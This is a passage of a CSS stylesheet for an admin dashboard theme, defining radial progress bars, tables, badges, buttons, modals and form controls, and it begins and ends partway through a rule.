linear-gradient(360deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-80 { background-image: linear-gradient(378deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-85 { background-image: linear-gradient(396deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-90 { background-image: linear-gradient(414deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-95 { background-image: linear-gradient(432deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-100 { background-image: linear-gradient(450deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } /* -- Radial Default -- */ .radial-bar-default.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-50 { background-image: linear-gradient(270deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-55 { background-image: linear-gradient(288deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-60 { background-image: linear-gradient(306deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-65 { background-image: linear-gradient(324deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-70 { background-image: linear-gradient(342deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-75 { background-image: linear-gradient(360deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-80 { background-image: linear-gradient(378deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-85 { background-image: linear-gradient(396deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-90 { background-image: linear-gradient(414deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-95 { background-image: linear-gradient(432deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-100 { background-image: linear-gradient(450deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } /* -- Radial Pink -- */ .radial-bar-pink.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-50 { background-image: linear-gradient(270deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-55 { background-image: linear-gradient(288deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-60 { background-image: linear-gradient(306deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-65 { background-image: linear-gradient(324deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-70 { background-image: linear-gradient(342deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-75 { background-image: linear-gradient(360deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-80 { background-image: linear-gradient(378deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-85 { background-image: linear-gradient(396deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-90 { background-image: linear-gradient(414deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-95 { background-image: linear-gradient(432deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-100 { background-image: linear-gradient(450deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } /* -- Radial Purple -- */ .radial-bar-purple.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-50 { background-image: linear-gradient(270deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-55 { background-image: linear-gradient(288deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-60 { background-image: linear-gradient(306deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-65 { background-image: linear-gradient(324deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-70 { background-image: linear-gradient(342deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-75 { background-image: linear-gradient(360deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-80 { background-image: linear-gradient(378deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-85 { background-image: linear-gradient(396deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-90 { background-image: linear-gradient(414deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-95 { background-image: linear-gradient(432deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-100 { background-image: linear-gradient(450deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } /* -- Radial Inverse -- */ .radial-bar-inverse.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-50 { background-image: linear-gradient(270deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-55 { background-image: linear-gradient(288deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-60 { background-image: linear-gradient(306deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-65 { background-image: linear-gradient(324deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-70 { background-image: linear-gradient(342deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-75 { background-image: linear-gradient(360deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-80 { background-image: linear-gradient(378deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-85 { background-image: linear-gradient(396deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-90 { background-image: linear-gradient(414deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-95 { background-image: linear-gradient(432deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-100 { background-image: linear-gradient(450deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-lg { width: 100px; height: 100px; font-size: 20px; } .radial-bar-lg:after, .radial-bar-lg > img { width: 70px; height: 70px; margin-left: 15px; margin-top: 15px; line-height: 70px; } .radial-bar-sm { width: 50px; height: 50px; font-size: 12px; } .radial-bar-sm:after, .radial-bar-sm > img { width: 35px; height: 35px; margin-left: 7.5px; margin-top: 7.5px; line-height: 35px; } .radial-bar-xs { width: 30px; height: 30px; font-size: 8px; } .radial-bar-xs:after, .radial-bar-xs > img { width: 20px; height: 20px; margin-left: 5.5px; margin-top: 4.5px; line-height: 21px; } .radial-bar { background-clip: content-box; } .card .card-body .dataTables_wrapper .dataTables_scroll { margin-left: -20px; width: calc(100% + 40px); } .card .card-body .dataTables_wrapper .dataTables_scroll .dataTable { margin-left: 0px; width: 100%; } .card .card-body .dataTables_wrapper .dataTable { margin-left: -20px; width: calc(100% + 40px); } .card .card-body .dataTables_wrapper .form-control { border: none; min-height: 30px; background-color: #f4f4f4; } .card .card-body .dataTables_wrapper select.form-control { height: 30px !important; } .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item .page-link { margin-left: 5px; min-width: 30px; height: 30px; padding: 0; text-align: center; line-height: 30px; border: none; background-color: #f4f4f4; color: #212121; border-radius: 30px; -webkit-border-radius: 30px; -moz-border-radius: 30px; } .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.previous .page-link, .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.next .page-link, .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.first .page-link, .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.last .page-link { padding: 0 15px; } .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.disabled .page-link { color: #6c757d; background-color: #f4f4f4; cursor: not-allowed; } .card .card-table .card-item { border-top: 1px solid #ededed; } .table thead { background-color: #f6f8fb; } .table thead th { font-weight: 600; color: #879099; font-size: 14px; } .table tbody td { vertical-align: middle; } .table tbody td .table-user-thumb { width: 30px; height: 30px; border-radius: 50%; } .table tbody td .table-actions { text-align: right; } .table tbody td .table-actions a { color: #bcc1c6; display: inline-block; margin-left: 8px; font-size: 16px; } .badge { padding: 6px 10px; font-size: 12px; font-weight: 600; } .badge.badge-top-left { top: 7px; right: 10px; } .badge.badge-top-left-2 { top: 40px; right: 10px; } .badge-primary, .badge-success, .badge-info, .badge-warning, .badge-danger, .badge-inverse, .badge-purple, .badge-pink, .badge-twitter, .badge-facebook, .badge-linkedin, .badge-google, .badge-dribbble, .badge-instagram { color: #ffffff; } .badge-theme { background-color: #ef4153; } .badge-aqua { background-color: #3ec5d6; } .badge-blue { background-color: #19B5FE; } .badge-light-blue { background-color: #89CFF0; } .badge-teal { background-color: #008081; } .badge-yellow { background-color: #F7CA18; } .badge-orange { background-color: #FF8000; } .badge-green { background-color: #26C281; } .badge-lime { background-color: #cad900; } .badge-red { background-color: #F22613; } .badge-fuchsia { background-color: #df2de3; } .badge-navy { background-color: #000080; } .badge-empty { background: transparent; } .badge-primary { background-color: #007bff; } .badge-success { background-color: #2dce89; } .badge-info { background-color: #11cdef; } .badge-warning { background-color: #fb6340; } .badge-danger { background-color: #f5365c; } .badge-muted { background-color: #6c757d; } .badge-inverse { background-color: #4c5667; } .badge-purple { background-color: #BF55EC; } .badge-pink { background-color: #f76397; } .badge-white { background-color: #ffffff; } .btn .badge { padding: 2px 6px; } .pagination .page-item { padding: 5px; } .pagination .page-item .page-link { outline: initial !important; box-shadow: none !important; line-height: 18px; min-width: 30px; text-align: center; height: 30px; padding: 6px 0px; border: none; background-color: #eaeaea; color: #3e5569; border-radius: 30px; -webkit-border-radius: 30px; -moz-border-radius: 30px; } .pagination .page-item .page-link.first, .pagination .page-item .page-link.last { color: #ffffff; background-color: #3e5569; } .pagination .page-item.active .page-link { background-color: #007bff; color: #ffffff; } .btn { padding: 6px 14px; height: 30px; font-size: 13px; font-weight: 600; -moz-transition: 0.3s ease-in-out; -o-transition: 0.3s ease-in-out; -webkit-transition: 0.3s ease-in-out; transition: 0.3s ease-in-out; } .btn i { margin-right: 5px; } .btn-icon { width: 30px; height: 30px; padding: 0; text-align: center; line-height: 32px; font-size: 14px; display: inline-block; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; -moz-transition: all 0.5s ease-in-out; -o-transition: all 0.5s ease-in-out; -webkit-transition: all 0.5s ease-in-out; transition: all 0.5s ease-in-out; } .btn-icon i { margin-right: 0 !important; } .social-btn { width: 30px; height: 30px; padding: 0; border-radius: 50%; text-align: center; line-height: 30px; color: #ffffff; } .social-btn i { margin: 0; } .btn-primary, .btn-success, .btn-info, .btn-warning, .btn-danger, .btn-inverse, .btn-purple, .btn-pink, .btn-twitter, .btn-facebook, .btn-linkedin, .btn-google, .btn-dribbble, .btn-instagram { color: #ffffff; } .btn-theme { background: linear-gradient(150deg, #f05138 15%, #ee3a5b 70%, #ed1375 94%); color: #fff; } .btndefault { background-color: #dae6ec; border-color: #dae6ec; } .btndefault:focus, .btndefault:hover, .btndefault:active, .btndefault.active { background-color: #dae6ec; border-color: #C2CED4; color: #ffffff !important; } .btn-primary { background-color: #007bff; border: 1px solid #007bff; } .btn-primary:hover, .btn-primary:focus, .btn-primary.active { background-color: #006fe6; border: 1px solid #006fe6; color: #ffffff !important; } .btn-success { background-color: #2dce89; border: 1px solid #2dce89; } .btn-success:hover, .btn-success:focus, .btn-success.active { background-color: #28b97b; border: 1px solid #28b97b; color: #ffffff !important; } .btn-info { background-color: #11cdef; border: 1px solid #11cdef; } .btn-info:hover, .btn-info:focus, .btn-info.active { background-color: #0fb9d8; border: 1px solid #0fb9d8; color: #ffffff !important; } .btn-warning { background-color: #fb6340; border: 1px solid #fb6340; } .btn-warning:hover, .btn-warning:focus, .btn-warning.active { background-color: #fa4f27; border: 1px solid #fa4f27; color: #ffffff !important; } .btn-danger { background-color: #f5365c; border: 1px solid #f5365c; } .btn-danger:focus, .btn-danger:hover, .btn-danger.active { background-color: #f41e48; border: 1px solid #f41e48; color: #ffffff !important; } .btn-inverse { background-color: #4c5667; border: 1px solid #4c5667; } .btn-inverse:hover, .btn-inverse:focus, .btn-inverse.active { background-color: #414a58; border: 1px solid #414a58; color: #ffffff !important; } .btn-purple { background-color: #BF55EC; border: 1px solid #BF55EC; } .btn-purple:hover, .btn-purple:focus, .btn-purple.active { background-color: #b63ee9; border: 1px solid #b63ee9; color: #ffffff !important; } .btn-pink { background-color: #f76397; border: 1px solid #f76397; } .btn-pink:hover, .btn-pink:focus, .btn-pink.active { background-color: #f64b87; border: 1px solid #f64b87; color: #ffffff !important; } .btn-facebook { background: #3b579d; } .btn-twitter { background: #1da1f2; } .btn-dribbble { background: #ea4c89; } .btn-linkedin { background: #0177b4; } .btn-google { background: #dc4a38; } .btn-instagram { background: #fb3958; } .template-demo .btn { margin-right: 10px; margin-bottom: 10px; } .btn-group .btn { margin: 0; } .full-window-modal .modal-dialog { position: fixed; width: 100%; height: 100%; margin: 0; max-width: 100%; left: 0; top: 0; bottom: 0; display: block; } .full-window-modal .modal-dialog .modal-content { height: 100vh; border: none; border-radius: 0; -webkit-border-radius: 0; -moz-border-radius: 0; } .full-window-modal .modal-dialog .modal-content .modal-body { height: calc(100vh - 50px); overflow-x: auto; } .full-window-modal .modal-dialog .modal-content .modal-footer { background-color: #393a3d; padding: 15px 24px; padding-top: 15px !important; } .modal-open .apps-modal { overflow: hidden; } .modal-open .apps-modal .close { position: absolute; top: 20px; right: 20px; text-shadow: none; z-index: 9; } .modal-open .apps-modal .modal-dialog { width: 100%; max-width: 100%; border-radius: 0; margin: 0; } .modal-open .apps-modal .modal-dialog .modal-content { border: none; border-radius: 0; min-height: 100vh; background-color: #ffffff; } .modal-open .apps-modal .modal-dialog .modal-content .quick-search { position: absolute; width: 100%; top: 17px; padding: 0 50px; z-index: 9; } .modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap { position: relative; } .modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap i { position: absolute; right: 5px; top: 0; width: 30px; height: 35px; border-radius: 50%; line-height: 35px; text-align: center; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap { display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-flex-flow: row wrap; -moz-flex-flow: row wrap; -ms-flex-flow: row wrap; flex-flow: row wrap; -webkit-justify-content: center; -moz-justify-content: center; -ms-justify-content: center; justify-content: center; -ms-flex-pack: center; width: 100%; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item { width: 130px; height: 100px; margin: 10px; color: #ccc; text-align: center; display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; -webkit-justify-content: center; -moz-justify-content: center; -ms-justify-content: center; justify-content: center; -ms-flex-pack: center; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a { display: inline-block; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a i { font-size: 40px; color: #3e5569; display: inline-block; margin-bottom: 10px; -moz-transition: all 0.3s ease 0s; -o-transition: all 0.3s ease 0s; -webkit-transition: all 0.3s ease 0s; transition: all 0.3s ease 0s; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a span { display: block; font-size: 14px; color: #3e5569; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item:hover i { color: #ef4153; } .modal-open .apps-modal.fade .modal-dialog { overflow: hidden; -moz-transform: translate(0, 0) scale(1.2); -o-transform: translate(0, 0) scale(1.2); -ms-transform: translate(0, 0) scale(1.2); -webkit-transform: translate(0, 0) scale(1.2); transform: translate(0, 0) scale(1.2); } .modal-open .apps-modal.fade.show .modal-dialog { -moz-transform: translate(0, 0) scale(1); -o-transform: translate(0, 0) scale(1); -ms-transform: translate(0, 0) scale(1); -webkit-transform: translate(0, 0) scale(1); transform: translate(0, 0) scale(1); } .form-group { margin-bottom: 1.25em; } .form-group .form-control-lg { font-size: 1.25em; } .form-group .form-control-round { border-radius: 50px; } .form-group .form-control-static:focus { outline: none; } .form-control { height: auto; min-height: 35px; border: 1px solid #eaeaea; padding: 0 10px; background-color: #fff; font-size: 13px; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .form-control.placeholder { color: #999999; } .form-control:-moz-placeholder { color: #999999; } .form-control::-moz-placeholder { color: #999999; } .form-control:-ms-input-placeholder { color: #999999; } .form-control::-webkit-input-placeholder { color: #999999; } .form-control:focus { border-color: #e2dfdf; -webkit-box-shadow: none; box-shadow: none; } .form-control.form-control-normal { font-weight: 400; } .form-control.form-control-bold { font-weight: 700; } .form-control.form-control-capitalize { text-transform: capitalize; } .form-control.form-control-uppercase { text-transform: uppercase; } .form-control.form-control-lowercase { text-transform: lowercase; } .form-control.form-control-variant { font-variant: small-caps; } .form-control.form-control-left { text-align: left; } .form-control.form-control-center { text-align: center; } .form-control.form-control-right { text-align: right; } .form-control.form-control-rtl { direction: rtl; } .form-control:disabled { cursor: not-allowed; opacity: 0.5; } select.form-control { -webkit-appearance: none; -moz-appearance: none; appearance: none; padding-right: 20px; background-image: url("../img/down-arrow.svg"); background-position: center right 15px; background-repeat: no-repeat; -webkit-background-size: 10px; background-size: 10px; height: 35px !important; } textarea.form-control { padding: 10px 15px; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .custom-radio .custom-control-label { line-height: 24px; } .custom-checkbox .custom-control-label { line-height: 24px; } .custom-checkbox .custom-control-input:checked ~ .custom-control-label::after { background-image: none; content: "\e83f"; line-height: 16px; font-family: 'iconkit'; color: #fff; } .custom-control-label { text-align: center; } .input-group .input-group-prepend .input-group-text { border-top-left-radius: 4px; border-bottom-left-radius: 4px; background-color: #eaeaea; border-color: #eaeaea; padding-left: 15px; height: 35px; font-size: 14px; } .input-group .input-group-prepend .btn { height: 35px; border-top-left-radius: 4px; border-bottom-left-radius: 4px; } .input-group .input-group-append .input-group-text { border-top-right-radius: 4px; border-bottom-right-radius: 4px; background-color: #eaeaea; border-color: #eaeaea; padding-right: 15px; height: 35px; font-size: 14px; } .input-group .input-group-append .btn { height: 35px; border-top-right-radius: 4px; border-bottom-right-radius: 4px; } .form-group .file-upload-default { visibility: hidden; position: absolute; } .form-group .file-upload-info { background: transparent; } .select2.select2-container--default .select2-selection--single { border-color: 